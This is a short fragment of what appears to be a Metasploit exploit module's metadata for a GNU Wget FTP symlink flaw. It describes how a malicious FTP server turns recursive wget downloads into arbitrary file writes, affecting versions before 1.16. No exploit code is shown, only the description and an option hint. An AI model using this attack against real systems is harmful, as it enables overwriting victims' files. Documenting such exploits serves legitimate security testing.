'Name' => 'GNU Wget FTP Symlink Arbitrary Filesystem Access',  
'Description' => %q{  
This module exploits a vulnerability in Wget when used in  
recursive (-r) mode with a FTP server as a destination. A  
symlink is used to allow arbitrary writes to the target's  
filesystem. To specify content for the file, use the  
"file:/path" syntax for the TARGET_DATA option.  
  
Tested successfully with wget 1.14. Versions prior to 1.16  
are presumed vulnerable.
